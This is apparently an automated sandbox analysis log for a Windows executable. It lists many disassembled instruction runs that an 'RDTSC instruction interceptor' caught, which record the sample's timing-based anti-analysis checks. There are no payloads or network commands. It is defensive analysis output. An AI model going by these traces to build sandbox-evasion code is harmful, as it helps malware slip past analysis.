Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7114 second address: CF711A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF711A second address: CF711F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF740C second address: CF7438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F6398F5B496h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6398F5B4A9h 0x00000012 jns 00007F6398F5B496h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7579 second address: CF75B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F6398F5ECB5h 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F6398F5EC96h 0x00000014 ja 00007F6398F5EC96h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7843 second address: CF7849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7849 second address: CF784D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF784D second address: CF7878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F6398F5B4AFh 0x0000000e jmp 00007F6398F5B4A9h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7878 second address: CF787C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7AFE second address: CF7B25 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6398F5B496h 0x00000008 jmp 00007F6398F5B4A9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7B25 second address: CF7B3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6398F5EC9Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7B3B second address: CF7B45 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6398F5B496h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7B45 second address: CF7B53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F6398F5EC9Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7B53 second address: CF7B85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F6398F5B4A7h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F6398F5B4A1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7B85 second address: CF7B89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7B89 second address: CF7BAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6398F5B4A9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7BAC second address: CF7BC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6398F5ECA9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7E7C second address: CF7E80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF6B97 second address: CF6BA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F6398F5EC96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF6BA1 second address: CF6BC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6398F5B49Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6398F5B4A0h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0021E second address: D00254 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6398F5EC9Dh 0x00000009 jbe 00007F6398F5EC96h 0x0000000f jmp 00007F6398F5ECA6h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jo 00007F6398F5EC96h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D00254 second address: D0026A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F6398F5B496h 0x00000010 jng 00007F6398F5B496h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0026A second address: D0028A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6398F5ECA6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0028A second address: D0028E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D003A4 second address: D003AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D003AA second address: D003AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D003AE second address: D003D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F6398F5EC96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F6398F5ECA3h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D003D5 second address: D003DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F6398F5B496h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02F9B second address: D02F9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02F9F second address: D02FAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03110 second address: D03114 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03114 second address: D0313B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6398F5B49Eh 0x0000000f jmp 00007F6398F5B49Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0A0BB second address: D0A0C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0A0C1 second address: D0A0D6 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6398F5B496h 0x00000008 js 00007F6398F5B496h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D08AB4 second address: D08ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D08ABA second address: D08AC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D08C17 second address: D08C1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D08C1B second address: D08C4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F6398F5B4A7h 0x0000000c jmp 00007F6398F5B4A1h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0D2B0 second address: D0D2B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0D2B5 second address: D0D2C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F6398F5B496h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0D2C4 second address: D0D2C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0CB24 second address: D0CB61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6398F5B4A7h 0x00000009 pop ebx 0x0000000a push edi 0x0000000b jmp 00007F6398F5B49Eh 0x00000010 jmp 00007F6398F5B4A1h 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0CB61 second address: D0CB66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0CB66 second address: D0CB6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0CCFA second address: D0CCFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0CCFE second address: D0CD04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10849 second address: D1084F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1084F second address: D10857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10A06 second address: D10A0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10A0B second address: D10A13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10A13 second address: D10A17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10A17 second address: D10A1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10D27 second address: D10D67 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6398F5EC96h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F6398F5ECA8h 0x00000011 push esi 0x00000012 jnc 00007F6398F5EC96h 0x00000018 pop esi 0x00000019 popad 0x0000001a pushad 0x0000001b jmp 00007F6398F5EC9Eh 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10D67 second address: D10D6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10F6F second address: D10F73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10F73 second address: D10F8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6398F5B49Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10F8A second address: D10F90 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10F90 second address: D10F96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10F96 second address: D10F9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10F9C second address: D10FC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6398F5B4A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6398F5B49Bh 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D19543 second address: D1958D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6398F5EC9Dh 0x00000009 pop edi 0x0000000a jmp 00007F6398F5ECA4h 0x0000000f jmp 00007F6398F5ECA8h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jnl 00007F6398F5EC96h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1958D second address: D1959E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007F6398F5B49Ah 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1959E second address: D195CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6398F5ECA5h 0x00000009 jmp 00007F6398F5ECA7h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D180C2 second address: D180E7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6398F5B49Eh 0x00000008 pushad 0x00000009 popad 0x0000000a jne 00007F6398F5B496h 0x00000010 push eax 0x00000011 jmp 00007F6398F5B4A2h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D180E7 second address: D18103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jns 00007F6398F5EC9Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D18472 second address: D18491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6398F5B4A9h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D18491 second address: D1849C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1849C second address: D184A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D18F1A second address: D18F20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2023E second address: D20242 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20242 second address: D20248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20248 second address: D2024E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2024E second address: D2026F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6398F5EC9Dh 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 ja 00007F6398F5EC96h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2026F second address: D20289 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F6398F5B49Ah 0x00000010 push esi 0x00000011 pop esi 0x00000012 push edi 0x00000013 pop edi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20289 second address: D2028F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2028F second address: D20293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20293 second address: D202AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6398F5ECA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D202AE second address: D202B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D202B2 second address: D202B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D234A9 second address: D234AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D234AD second address: D234B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D234B1 second address: D234C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F6398F5B496h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D234C1 second address: D234D9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6398F5EC96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jnl 00007F6398F5EC96h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D234D9 second address: D234E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D23627 second address: D23631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F6398F5EC96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D23BAC second address: D23BD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F6398F5B496h 0x0000000a jmp 00007F6398F5B4A0h 0x0000000f popad 0x00000010 push edi 0x00000011 push edi 0x00000012 pop edi 0x00000013 jne 00007F6398F5B496h 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D23D3A second address: D23D40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D23D40 second address: D23D44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D23EB2 second address: D23EDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F6398F5EC9Bh 0x0000000b jmp 00007F6398F5ECA6h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D23EDC second address: D23EE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D23EE4 second address: D23EE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D23EE8 second address: D23EFC instructions: 0x00000000 rdtsc 0x00000002 je 00007F6398F5B496h 0x00000008 jbe 00007F6398F5B496h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D23EFC second address: D23F00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2AE3A second address: D2AE3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2B4AC second address: D2B4B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2B4B2 second address: D2B4BC instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6398F5B4A2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2B4BC second address: D2B4E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F6398F5EC96h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6398F5ECA8h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2B616 second address: D2B61A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2B61A second address: D2B624 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6398F5EC96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2B624 second address: D2B632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F6398F5B49Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C399 second address: D2C3B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6398F5ECA1h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C3B0 second address: D2C3B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C3B6 second address: D2C3BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
